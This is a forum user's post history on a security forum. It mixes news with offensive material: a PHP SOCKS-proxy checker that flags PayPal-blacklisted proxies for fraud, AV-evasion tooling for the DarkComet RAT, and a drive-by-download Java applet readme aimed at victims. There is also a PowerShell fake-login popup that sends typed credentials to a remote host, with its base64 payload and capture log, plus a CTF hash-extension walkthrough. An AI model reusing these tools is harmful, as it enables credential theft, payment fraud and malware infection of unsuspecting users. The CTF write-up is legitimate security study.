Jump to content

Fi8sVrs

Active Members
  • Posts

    3206
  • Joined

  • Days Won

    87

Posts posted by Fi8sVrs

  1. Check_Socks_Online_1316466476710.png

    + needs curl :

    <?php

    set_time_limit(0);

    error_reporting(0);

    global $socks_list,$site,$sockstimeout,$paypaltimeout,$list,$lives;

    $socks_list = $_POST["sockslist"];

    if (strlen($socks_list)<1) {$socks_list = "82.67.164.189:55525\n71.229.119.8 11465\n67.81.180.167|59931\n211.189.18.165/5818\n";}

    if($_POST["submit"]){

    function getsocks($list)

    {

    preg_match_all("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}[:|-\s\/]\d{1,7}/", $list, $socks);

    $socks = array_unique($socks[0]);

    $socks2 = array();

    For ($i=0;$i<count($socks);$i++)

    {

    if($_POST['port']){

    If(stristr($socks[$i],$_POST['port1'])){

    continue;

    }

    }

    If (strlen($socks[$i]) > 7) $socks2[] = str_replace(array("|", "/", " ", "-"),':',$socks[$i]);

    }

    Return $socks2;

    }

    $socks_list = str_replace(" ",":",$socks_list);

    $socks_list = str_replace("|",":",$socks_list);

    $socks_list = str_replace("/",":",$socks_list);

    $AllSocks = getsocks($socks_list);

    $All = count($AllSocks);

    $socks_list = "";

    For ($i = 1; $i <= $All; $i++)

    {

    $socks_list .= $AllSocks[$i-1]."\n";

    }

    }

    $site = $_POST["site"];

    if (strlen($site)<1) {$site = "http://google.com/";}

    $sockstimeout = $_POST["sockstimeout"];

    if (!isset($sockstimeout)) {$sockstimeout = 3;}

    ?>

    <title>-=[ Check Socks Online ]=-</title>

    <style>body{

    font-family:Tahoma;

    font-size:12px;

    background-color:#000000;

    color:#FFFFFF;

    }

    a:link,a:visited,a:active{

    font-family:Tahoma;

    font-size:12px;

    color:#C0C0C0;

    text-decoration:none;

    }

    a:hover{

    color:white;

    text-decoration:none;

    font-family:Tahoma;

    font-size:12px;

    }

    table,tr,td{

    padding:3px;

    font-family:Tahoma;

    font-size:12px;

    background-color:#000000;

    border:1px dotted #C0C0C0;

    }

    input{

    padding:3px;

    font-family:Tahoma;

    font-size:12px;

    background-color:#000000;

    border:1px dotted #C0C0C0;

    color:#C0C0C0;

    }

    textarea{

    padding:3px;

    font-family:Tahoma;

    font-size:12px;

    background-color:#000000;

    border:1px dotted #C0C0C0;

    color:#C0C0C0;

    }

    </style>

    <script type="text/javascript">

    function timsock(){

    var slist = window.document.f.sockslist.value;

    var fuck = slist.match(/\d{1,3}([.])\d{1,3}([.])\d{1,3}([.])\d{1,3}((:)|(\s)+)\d{1,8}/g );

    if(fuck){

    var list="";

    for(var i=0;i<fuck.length;i++){

    if(fuck.match(/\d{1,3}([.])\d{1,3}([.])\d{1,3}([.])\d{1,3}(\s)+\d{1,8}/g )){

    fuck=fuck.replace(/(\s)+/,':');

    }

    list=list+fuck+"\n";

    }

    window.document.f.sockslist.value=list;

    }

    else{

    window.document.f.sockslist.value="Not found";

    }

    }

    </script>

    </head>

    <center><h1>-=[ Check Socks Online ]=-</h1></center>

    <form action="" method="post" name="f">

    <center><textarea name="sockslist" cols="150" rows="10"><?=$socks_list?></textarea></center>

    <div align='center'>

    Destination : <input type="text" name="site" size="30" maxlength="200" value="http://google.com" /> -

    Del Port : <input type=text size=9 name=port1 value= 1080,8080 ><input type=checkbox name=port> - Sock Time-Out : <select name="sockstimeout" ><option value="10" <?If ($sockstimeout == 10) echo 'selected';?> >10s</option><option value="9" <?If ($sockstimeout == 9) echo 'selected';?> >9s</option><option value="8" <?If ($sockstimeout == 8) echo 'selected';?> >8s</option><option value="7" <?If ($sockstimeout == 7) echo 'selected';?> >7s</option><option value="6" <?If ($sockstimeout == 6) echo 'selected';?> >6s</option><option value="5" <?If ($sockstimeout == 5) echo 'selected';?> >5s</option><option value="4" <?If ($sockstimeout == 4) echo 'selected';?> >4s</option><option value="3" <?If ($sockstimeout == 3) echo 'selected';?> >3s</option><option value="2" <?If ($sockstimeout == 2) echo 'selected';?> >2s</option><option value="1" <?php If ($sockstimeout == 1) echo 'selected';?> >1s</option></select> -

    <font color=yellow>Clear Paypal</font> <input name="Clear" type="checkbox" id="Clear" <?php if($_POST['Clear']){ echo 'checked'; } ?>/>

    - PP Time-Out : <input name="timeoutpp" type="text" value=5 size=3 /><br><br>

    <input type="submit" value=" Submit !!! " name="submit" onClick="timsock()"/>

    </div>

    </form>

    <?php

    if($_POST["submit"]){

    $died = "";

    function flush_buffers(){

    ob_end_flush();

    ob_flush();

    flush();

    ob_start();

    }

    function grabdb($string, $start, $end){

    $string = " ".$string;

    $ini = strpos($string,$start);

    if ($ini == 0) return "";

    $ini += strlen($start);

    $len = strpos($string,$end,$ini) - $ini;

    return substr($string,$ini,$len);

    }

    function _checkClearPP($socks){

    $cookie = md5(time()).'_pp.txt';

    fclose(fopen($cookie,'w'));

    $postdata = "cmd=_s-xclick&hosted_button_id=DJX2GBY6CSR4N";

    $url = 'https://www.paypal.com/cgi-bin/webscr';

    $agent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20";

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, $url);

    curl_setopt($ch, CURLOPT_TIMEOUT, 100);

    curl_setopt($ch, CURLOPT_USERAGENT, $agent);

    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);

    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 1);

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

    curl_setopt($ch, CURLOPT_PROXY, $socks);

    curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);

    curl_setopt($ch, CURLOPT_POST,true);

    curl_setopt($ch, CURLOPT_POSTFIELDS,$postdata);

    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);

    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);

    $step2 = curl_exec($ch);

    unlink($cookie);

    if($step2 == false){

    //return 'Curl error: ' . curl_error($ch);

    $cl = 2;

    }else{

    if(stristr($step2,'Re-enter password')){

    $cl = 1;

    }else{

    $cl = 0;

    }

    }

    curl_close($ch);

    //unlink($cookie);

    return $cl;

    }

    function ip2location($ip){

    $d = file_get_contents("http://api.ipinfodb.com/v3/ip-city/?key=5e9a99b4d163bc021ffc97ad634b941b7cbe9f1770ba0e04561f72a3c5770d87&ip=$ip");

    $d = explode(";",$d);

    $country_code = $d[3];

    $country_name = $d[4];

    $region_name = $d[5];

    $city = $d[6];

    $zippostalcode = $d[7];

    $latitude = $d[8];

    $longitude = $d[9];

    $timezone = $d[10];

    return array('ip' => $ip, 'country_code' => $country_code, 'country_name' => $country_name, 'RegionName' => $region_name, 'city' => $city, 'ZipPostalCode' => $zippostalcode, 'latitude' => $latitude, 'longitude' => $longitude, 'Timezone' => $timezone);

    }

    Function check($Socks,$site,$sockstimeout,$paypaltimeout){

    $cookie_file_path = md5(microtime().rand(0,999)).'_cookie.txt';

    $fp = fopen($cookie_file_path,'wb');

    fclose($fp);

    $curl = curl_init();

    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

    curl_setopt($curl, CURLOPT_HEADER, true);

    curl_setopt($curl, CURLOPT_POST, true);

    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);

    curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_file_path);

    curl_setopt($curl, CURLOPT_COOKIEFILE, $cookie_file_path);

    curl_setopt($curl, CURLOPT_HTTPPROXYTUNNEL, 1);

    curl_setopt($curl, CURLOPT_PROXY, $Socks);

    curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);

    curl_setopt($curl, CURLOPT_DNS_CACHE_TIMEOUT,1);

    curl_setopt($curl, CURLOPT_TIMEOUT,$sockstimeout);

    curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,$sockstimeout);

    curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");

    $site .= "?".microtime();

    curl_setopt($curl, CURLOPT_URL, $site);

    $Exec = curl_exec($curl);

    $info = curl_getinfo($curl);

    $sock1 = explode(":",$Socks);

    $PORT = $sock1[1];

    $sock2 = $sock1[0];

    $sock2 = str_replace(",", ".", $sock2);

    $ip = ip2location($sock2);

    $country_name = $ip['country_name'];

    $region = $ip['RegionName'];

    $city = $ip['city'];

    $postal_code = $ip['ZipPostalCode'];

    if ($country_name == "") $country_name = "Unknown";

    if ($region == "") $region = "Unknown";

    if ($city == "") $city = "Unknown";

    if ($postal_code == "") $postal_code = "Unknown";

    If ($Exec)

    {

    $times = $info['connect_time'];

    if ($_POST['Clear']){

    if(_checkClearPP($Socks) == 0){

    $clpp = "<font color=green>Clear Paypal</font>";

    }elseif(_checkClearPP($Socks) == 1){

    $clpp = "<font color=red>Blacklist Paypal</font>";

    }else{

    $clpp = "<font color=darkchild>Unknow</font>";

    }

    $Result1 = "<font color='#00DB00'><b>Live</b></font> | <font color='#00DB00'>". $Socks ."</font> | <b>".$clpp."</b> | Times: <font color='yellow'>". $times ."s</font> | City: <font color='white'>". $city ."</font> | State: <font color='#56DB99'>". $region ."</font> | Zipcode: <font color='#FFA500'>". $postal_code ."</font> | Country: <font color='yellow'>". $country_name ."</font><br>";

    }

    else{

    $Result1 = "<font color='#00DB00'><b>Live</b></font> | <font color='#00DB00'>".$Socks."</font> | Times: <font color='yellow'>".$times."s</font> | City: <font color='white'>".$city."</font> | State: <font color='#56DB99'>".$region."</font> | Zipcode: <font color='#FFA500'>".$postal_code."</font> | Country: <font color='yellow'>".$country_name."</font><br>";

    }

    }

    else

    {

    $Result1 = "<font color='red'><b>Die</b></font> | <font color='#00DB00'>".$Socks."</font> | <font color=red>".curl_error($curl)."</font> | City: <font color='white'>".$city."</font> | State: <font color='#56DB99'>".$region."</font> | Zipcode: <font color='#FFA500'>".$postal_code."</font> | Country: <font color='yellow'>".$country_name."</font><br>";

    }

    curl_close($curl);

    unlink($cookie_file_path);

    return $Result1;

    }

    echo "<b><center>-=[Checking Socks with timeout $sockstimeout s ]=-</b><br></center>";

    echo "<br><strong>Start Checking $All Socks...</strong><br><hr>";

    for ($i=1;$i<=$All;$i++){

    if (strlen($AllSocks[$i-1])>10)

    {

    $Socks = $AllSocks[$i-1];

    $s = Check($Socks,$site,$sockstimeout,$paypaltimeout);

    if(stristr($s,"<b>Live</b>") && stristr($s,"Clear Paypal")){

    echo $i.' | '.$s;

    $lives['cl'][] .= $s;

    }elseif(stristr($s,"<b>Live</b>")){

    echo $i.' | '.$s;

    $lives['notcl'][] .= $s;

    }

    else{

    echo $i.' | '.$s;

    }

    flush_buffers();

    }

    }

    if(count($lives)>0){

    echo "<br><strong>List Socks Live</strong></br><hr>";

    if ($_POST['Clear']){

    if(count($lives['cl'])>0){

    foreach($lives['cl'] as $cl){

    echo $cl;

    }

    }

    if(count($lives['notcl'])>0){

    foreach($lives['notcl'] as $notcl){

    echo $notcl;

    }

    }

    }else{

    foreach($lives['notcl'] as $li){

    echo $li;

    }

    }

    }

    }

    ?>

    Sursa: Check Script

  2. bug-malware-virus-security-threat-breach-540x334.jpg

    European airline Ryanair has admitted falling victim to a hacking attack that saw €4.6m of the company's money transferred to a bank account in China.

    Law enforcement agencies and financial organisations have already been alerted to the incident, according to reports, and Ryanair is confident that it will get the money back.

    "Ryanair confirms that it has investigated a fraudulent electronic transfer via a Chinese bank last week. The airline has been working with its banks and the relevant authorities and understands that the funds, less than $5m, have now been frozen," the company said.

    "The airline expects these funds to be repaid shortly, and has taken steps to ensure that this type of transfer cannot recur. As this matter is subject to legal proceedings, no further comment will be made."

    The relevant authority in Ryanair's home country of Ireland is the Criminal Assets Bureau, an independent body with powers similar to the local police.

    Like the UK Assets Recovery Agency, the Criminal Assets Bureau focuses on serious crimes and the ability to pursue assets from criminals and compensate victims.

    The airline industry benefits and suffers from its use of technology. American Airlines was forced to ground flights this week because of a software problem. British Airways fell victim to an apparent hack in March that affected its most frequent fliers.

    The company cleared out some of its user accounts and changed log-ins, but it was revealed that the hack was more of a probe on its systems enabled by a leak from another provider.

    "This appears to have been the result of a third party using information obtained elsewhere on the internet, via an automated process, to try to gain access to some accounts,” BA said in a statement at the time.

    The incidents underline the perils technology can pose to businesses and the importance of having adequete plans in place should things go wrong.

    Via

  3. This video demonstrates how to make a darkcomet rat undetectable.

    P.S. these are the names of tools needed for it to work:

    1. [C#] Source Code Generator V4.0 Final
    2. DeepSea Obfuscator.v4.0.1.16.full
    3. DNGuard HVM.Enterprise 3.60 cracked-SND
    4. DarkComet Version 5.3.1
    5. Microsoft visual studio

  4. DBD.jpg

    Readme:

    Step 1.) Open game.java and change fileLink to a link to a ZIPPED file that you want to download and execute to the remote pc..
    Step 2.) whilst still in game.java change fileDir to the directory of the computer where you want to download your application to.
    Step 3.) Find out what JDK version you have and edit the three .bat files to correspond to your JDK version - Example:

    "C:\Program Files\Java\jdk1.6.0_16\bin\javac.exe" -cp . *.java

    This shows my version of JDK is 1.6.0_16 if you go to 'C:\Program Files\Java\' and see what version of jdk you had e.g. 1.6.0_21 you would change the three files so that it
    was like so:

    "C:\Program Files\Java\jdk1.6.0_21\bin\javac.exe"

    Step 4.) Run Compile.bat if no errors show then proceed to step 5.
    Step 5.) Run Make JAR-FILE.bat
    Step 6.) Run 'SIGN YOUR JAR.bat' and when prompted enter the password 'java123' it will not show your typing but it will be there after typing 'java123' hit enter.

    Step 7.) Upload yourfile.zip, Client.html, and Client.jar to a webhost, and then send people to http://yourlink.com/Client.html to execute the Drive By Download on them.

    Download

  5. As many of you know, last weekend was Ghost in the Shellcode 2015! There were plenty of fun challenges, and as always I had a great time competing! This will be my first of four writeups, and will be pretty simple (since it simply required me to use a tool that already exists (and that I wrote)

    The level was called "knockers". It's a simple python script that listens on an IPv6 UDP port and, if it gets an appropriately signed request, opens one or more other ports. The specific challenge gave you a signed token to open port 80, and challenged you to open up port 7175. The service itself listened on port 8008 ("BOOB", to go with the "knockers" name).

    You can download the original level here (Python).

    # python2 please

    import sys

    import struct

    import hashlib

    import os

    from binascii import hexlify, unhexlify

    import SocketServer

    import socket

    try:

    from fw import allow

    except ImportError:

    def allow(ip,port):

    print 'allowing host ' + ip + ' on port ' + str(port)

    PORT = 8008

    g_h = hashlib.sha512

    g_key = None

    def generate_token(h, k, *pl):

    m = struct.pack('!'+'H'*len(pl), *pl)

    mac = h(k+m).digest()

    return mac + m

    def parse_and_verify(h, k, m):

    ds = h().digest_size

    if len(m) < ds:

    return None

    mac = m[:ds]

    msg = m[ds:]

    if h(k+msg).digest() != mac:

    return None

    port_list = []

    for i in range(0,len(msg),2):

    if i+1 >= len(msg):

    break

    port_list.append(struct.unpack_from('!H', msg, i)[0])

    return port_list

    class KnockersRequestHandler(SocketServer.BaseRequestHandler):

    def handle(self):

    global g_key

    data, s = self.request

    print 'Client: {} len {}'.format(self.client_address[0],len(data))

    l = parse_and_verify(g_h, g_key, data)

    if l is None:

    print 'bad message'

    else:

    for p in l:

    allow(self.client_address[0], p)

    class KnockersServer(SocketServer.UDPServer):

    address_family = socket.AF_INET6

    def load_key():

    global g_key

    f=open('secret.txt','rb')

    g_key = unhexlify(f.read())

    f.close()

    def main():

    global g_h

    global g_key

    g_h = hashlib.sha512

    if len(sys.argv) < 2:

    print '''Usage:

    --- Server ---

    knockers.py setup

    Generates a new secret.txt

    knockers.py newtoken port [port [port ...]]

    Generates a client token for the given ports

    knockers.py serve

    Runs the service

    --- Client ---

    knockers.py knock <host> <token>

    Tells the server to unlock ports allowed by the given token

    '''

    elif sys.argv[1]=='serve':

    load_key()

    server = KnockersServer(('', PORT), KnockersRequestHandler)

    server.serve_forever();

    elif sys.argv[1]=='setup':

    f = open('secret.txt','wb')

    f.write(hexlify(os.urandom(16)))

    f.close()

    print 'wrote new secret.txt'

    elif sys.argv[1]=='newtoken':

    load_key()

    ports = map(int,sys.argv[2:])

    print hexlify(generate_token(g_h, g_key, *ports))

    elif sys.argv[1]=='knock':

    ai = socket.getaddrinfo(sys.argv[2],PORT,socket.AF_INET6,socket.SOCK_DGRAM)

    if len(ai) < 1:

    print 'could not find address: ' + sys.argv[2]

    return

    family, socktype, proto, canonname, sockaddr = ai[0]

    s = socket.socket(family, socktype, proto)

    s.sendto(unhexlify(sys.argv[3]), sockaddr)

    else:

    print 'unrecognized command'

    if __name__ == '__main__':

    main()

    The vulnerability

    To track down the vulnerability, let's have a look at the signature algorithm:

    def generate_token(h, k, *pl):
    m = struct.pack('!'+'H'*len(pl), *pl)
    mac = h(k+m).digest()
    return mac + m

    In that function, h is a hash function (sha-512, specifically), k is a random 16-byte token, randomly generated, and m is an array of 16-bit representation of the ports that the user wishes to open. So if the user wanted to open port 1 and 2, they'd send "\x00\x01\x00\x02", along with the appropriate token (which the server administrator would have to create/send, see below).

    Hmm... it's generating a mac-protected token and string by concatenating strings and hashing them? If you've followed my blog, this might sound very familiar! This is a pure hash extension vulnerability!

    I'm not going to re-iterate what a hash extension vulnerability is in great detail—if you're interested, check out the blog I just linked—but the general idea is that if you generate a message in the form of

    msg + H(secret + msg)

    , the user can arbitrarily extend the message and generate a new signature! That means if we have access to any port, we have access to every port!

    Let's see how!

    Generating a legit token

    To use the python script linked above, first run 'setup':


    $ python ./knockers.py setup
    wrote new secret.txt

    Which generates a new secret. The secret is just a 16-byte random string that's stored on the server. We don't really need to know what the secret is, but for the curious, if you want to follow along and verify your numbers against mine, it's:

    $ cat secret.txt
    2b396fb91a76307ce31ef7236e7fd3df

    Now we use the tool (on the same host as the secret.txt file) to generate a token that allows access on port 80:

    $ python ./knockers.py newtoken 80
    83a98996f0acb4ad74708447b303c081c86d0dc26822f4014abbf4adcbc4d009fbd8397aad82618a6d45de8d944d384542072d7a0f0cdb76b51e512d88de3eb20050

    Notice the first 512 bits (64 bytes) is the signature—which is logical, since it's sha512—and the last 16 bits (2 bytes) are 0050, which is the hex representation of 80. We'll split those apart later, when we run hash_extender, but for now let's make sure the token actually works first!

    We start the server:

    $ python ./knockers.py serve

    And in another window, or on another host if you prefer, send the generated token:

    $ python ./knockers.py knock localhost 83a98996f0acb4ad74708447b303c081c86d0dc26822f4014abbf4adcbc4d009fbd8397aad82618a6d45de8d944d384542072d7a0f0cdb76b51e512d88de3eb20050

    In the original window, you'll see that it was successful:

    $ python ./knockers.py serve
    Client: ::1 len 66
    allowing host ::1 on port 80

    Now, let's figure out how to create a token for port 7175!

    Generating an illegit (non-legit?) token

    So this is actually the easiest part. It turns out that the awesome guy who wrote hash_extender (just kidding, he's not awesome) built in everything you needed for this attack!

    Download and compile hash_extender if needed (definitely works on Linux, but I haven't tested on any other platforms—testers are welcome!), and run it with no arguments to get the help dump. You need to pass in the original data (that's "\x00\x80"), the data you want to append (7175 => "\x1c\x07"), the original signature, and the length of the secret (which is 16 bytes). You also need to pass in the types for each of the parameters ("hex") in case the defaults don't match (in this case, they don't—the appended data is assumed to be raw).

    All said and done, here's the command:

    ./hash_extender --data-format hex --data 0050 \
    --signature-format hex --signature 83a98996f0acb4ad74708447b303c081c86d0dc26822f4014abbf4adcbc4d009fbd8397aad82618a6d45de8d944d384542072d7a0f0cdb76b51e512d88de3eb2 \
    --append "1c07" --append-format hex \
    -l 16

    You can pass in the algorithm and the desired output format as well, if we don't, it'll just output in every 512-bit-sized hash type. The output defaults to hex, so we're happy with that.

    $ ./hash_extender --data-format hex --data 0050 --signature-format hex --signature 83a98996f0acb4ad74708447b303c081c86d0dc26822f4014abbf4adcbc4d009fbd8397aad82618a6d45de8d944d384542072d7a0f0cdb76b51e512d88de3eb2 --append "1c07" --append-format hex -l 16
    Type: sha512
    Secret length: 16
    New signature: 4bda887c0fc43636f39ff38be6d592c2830723197b93174b04d0115d28f0d5e4df650f7c48d64f7ca26ef94c3387f0ca3bf606184c4524600557c7de36f1d894
    New string: 005080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000901c07

    [strike]
    Type: whirlpool
    Secret length: 16
    New signature: f4440caa0da933ed497b3af8088cb78c49374853773435321c7f03730386513912fb7b165121c9d5fb0cb2b8a5958176c4abec35034c2041315bf064de26a659
    New string: 0050800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000901c07[/strike]

    Ignoring the whirlpool token, since that's the wrong algorithm, we now have a new signature and a new string. We can just concatenate them together and use the built-in client to use them:

    $ python ./knockers.py knock localhost 4bda887c0fc43636f39ff38be6d592c2830723197b93174b04d0115d28f0d5e4df650f7c48d64f7ca26ef94c3387f0ca3bf606184c4524600557c7de36f1d894005080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000901c07

    And checking our server, we see a ton of output, including successfully opening port 7175:

    $ python ./knockers.py serve
    Client: ::1 len 66
    allowing host ::1 on port 80
    Client: ::1 len 178
    allowing host ::1 on port 80
    allowing host ::1 on port 32768
    allowing host ::1 on port 0
    allowing host ::1 on port 0
    [...repeated like 100 times...]
    allowing host ::1 on port 0
    allowing host ::1 on port 0
    allowing host ::1 on port 144
    allowing host ::1 on port 7175

    And that's it! At that point, you can visit http://knockers.2015.ghostintheshellcode.com:7175 and get the key.

    Source skullsecurity

  6. Metasploit Minute has entered into it’s 3rd “season”. And we kick it off with using the Metasploit capture modules to capture creds from this powershell popup. The cool thing about this is you can leave it to execute on a system without any other code on disk and get creds constantly as any level of user. No admin, no UAC bypass needed. Just a bunch of creds for free.. over SSL. ;–)

    Here is the video:

    Here is the code:

    $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[system.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};

    $wc = new-object net.webclient;

    $wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");

    $wc.Proxy = [system.Net.WebRequest]::DefaultWebProxy;

    $wc.Proxy.Credentials = [system.Net.CredentialCache]::DefaultNetworkCredentials;

    $wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');

    $result = $wc.downloadstring('https://172.16.102.163');

    Lets break down the code line by line:

    $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserName,[Environment]::UserDomainName);

    This tells windows to prompt for credentials, with the title of “Failed Authentication”, no info in the comment (so it uses default), and include the username and domain in the box to add authenticity. Thats where all the magic is, everything else is just gravy.

    [system.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};

    Tells powershell not to verify SSL certificates (allows us to use self signed certs in the HTTPS transaction later

    $wc = new-object net.webclient;

    $wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");

    Creates a new webclient object and sets its user agent to ‘wget’

    Creates a new webclient object and sets its user agent to ‘wget’

    Tells powershell to use whatever proxy the current user uses with whatever credentials they have cached. If one or both are unnecessary it just ignores these settings.

    $wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');

    Tells powershell that the HTTP-Basic credentials to use are the ones typed in the popup box recently by the user.

    $result = $wc.downloadstring('https://172.16.102.163');

    And finally the request to HTTP-Basic capture module in metasploit, but you could have anything you want capture these creds.

    cat power.txt | iconv --to-code UTF-16LE | base64

    JABjAHIAZQBkACAAPQAgACQAaABvAHMAdAAuAHUAaQAuAHAAcgBvAG0AcAB0AGYAbwByAGMAcgBlAGQAZQBuAHQAaQBhAGwAKAAnAEYAYQBpAGwAZQBkACAAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACcALAAnACcALABbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBVAHMAZQByAEQAbwBtAGEAaQBuAE4AYQBtAGUAIAArACAAIgBcACIAIAArACAAWwBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoAVQBzAGUAcgBOAGEAbQBlACwAWwBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoAVQBzAGUAcgBEAG8AbQBhAGkAbgBOAGEAbQBlACkAOwAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AOwAKACQAdwBjACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsACgAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAVQBzAGUAcgAtAEEAZwBlAG4AdAAiACwAIgBXAGcAZQB0AC8AMQAuADkAKwBjAHYAcwAtAHMAdABhAGIAbABlACAAKABSAGUAZAAgAEgAYQB0ACAAbQBvAGQAaQBmAGkAZQBkACkAIgApADsACgAkAHcAYwAuAFAAcgBvAHgAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEQAZQBmAGEAdQBsAHQAVwBlAGIAUAByAG8AeAB5ADsACgAkAHcAYwAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AE4AZQB0AHcAbwByAGsAQwByAGUAZABlAG4AdABpAGEAbABzADsACgAkAHcAYwAuAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAD0AIABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAcwB5AHMAdABlAG0ALgBuAGUAdAAuAG4AZQB0AHcAbwByAGsAYwByAGUAZABlAG4AdABpAGEAbAAoACQAYwByAGUAZAAuAHUAcwBlAHIAbgBhAG0AZQAsACAAJABjAHIAZQBkAC4AZwBlAHQAbgBlAHQAdwBvAHIAawBjAHIAZQBkAGUAbgB0AGkAYQBsACgAKQAuAHAAYQBzAHMAdwBvAHIAZAAsACAAJwAnACkAOwAKACQAcgBlAHMAdQBsAHQAIAA9ACAAJAB3AGMALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwAxADcAMgAuADEANgAuADEAMAAyAC4AMQA2ADMAJwApADsACgA=

    Then execute

    powershell -ep bypass -enc <the encoded text from above>

    and you get this:

    Image should be here:

    2014-09-03-powershellpopup.png

    root@wpad:~/metasploit-framework# ./msfconsole -Lq

    msf > use auxiliary/server/capture/http_basic

    msf auxiliary(http_basic) > show options

    Module options (auxiliary/server/capture/http_basic):

    Name Current Setting Required Description

    ---- --------------- -------- -----------

    REALM Secure Site yes The authentication realm you'd like to present.

    RedirectURL no The page to redirect users to after they enter basic auth creds

    SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0

    SRVPORT 80 yes The local port to listen on.

    SSL false no Negotiate SSL for incoming connections

    SSLCert no Path to a custom SSL certificate (default is randomly generated)

    SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)

    URIPATH no The URI to use for this exploit (default is random)

    msf auxiliary(http_basic) > set SSL true

    SSL => true

    msf auxiliary(http_basic) > set SRVPORT 443

    SRVPORT => 443

    msf auxiliary(http_basic) > set URIPATH /

    URIPATH => /

    msf auxiliary(http_basic) > run

    [*] Auxiliary module execution completed

    msf auxiliary(http_basic) >

    [*] Listening on 0.0.0.0:443...

    [*] Using URL: https://0.0.0.0:443/

    [*] Local IP: https://172.16.102.163:443/

    [*] Server started.

    [*] 172.16.102.140 http_basic - Sending 401 to client 172.16.102.140

    [+] 172.16.102.140 - Credential collected: "SITTINGDUCK\user:ASDqwe123" => /

    Source: room362

  7. This archive contains 174 exploits that were added to Packet Storm in April, 2015.

    1504-exploits/
    1504-exploits/wpwoocommerceaa-shelldisclose.txt
    1504-exploits/emailmarkerter-xss.txt
    1504-exploits/projectsend561-xsrf.txt
    1504-exploits/nodesstudio-sqlxssdiscose.txt
    1504-exploits/wpsam-disclose.txt
    1504-exploits/VL-1314.txt
    1504-exploits/VL-1227.txt
    1504-exploits/airties-exec.txt
    1504-exploits/oracledotcom-xss.txt
    1504-exploits/prolink-xsrf.txt
    1504-exploits/PRL-2015-05.tgz
    1504-exploits/wpphpec-upload.txt
    1504-exploits/AS-WFTP0328.txt
    1504-exploits/hippocms-crlf.txt
    1504-exploits/bloofoxcms050-xss.txt
    1504-exploits/wpbusinessintelligence-sql.txt
    1504-exploits/wpthecartpress-xsslfi.txt
    1504-exploits/netgearwnr2000v4-xssexec.txt
    1504-exploits/SpiritSploit.py.txt
    1504-exploits/ms15-034.txt
    1504-exploits/mediasuitecms-disclose.txt
    1504-exploits/proftpd135-filecopy.txt
    1504-exploits/6kbbs80-xss.txt
    1504-exploits/cve-2014-7822_poc.c
    1504-exploits/proftpd135-exec.txt
    1504-exploits/wpallinone-sql.txt
    1504-exploits/multi_ncc_ping_exec.rb.txt
    1504-exploits/phplist3010-insecure.txt
    1504-exploits/6kbbs-sql.txt
    1504-exploits/0xb16b00b5.tgz
    1504-exploits/adbbackup-traversal.txt
    1504-exploits/netcatcms-traversal.txt
    1504-exploits/wp42-xss.txt
    1504-exploits/fedoraabrt-racecondition.txt
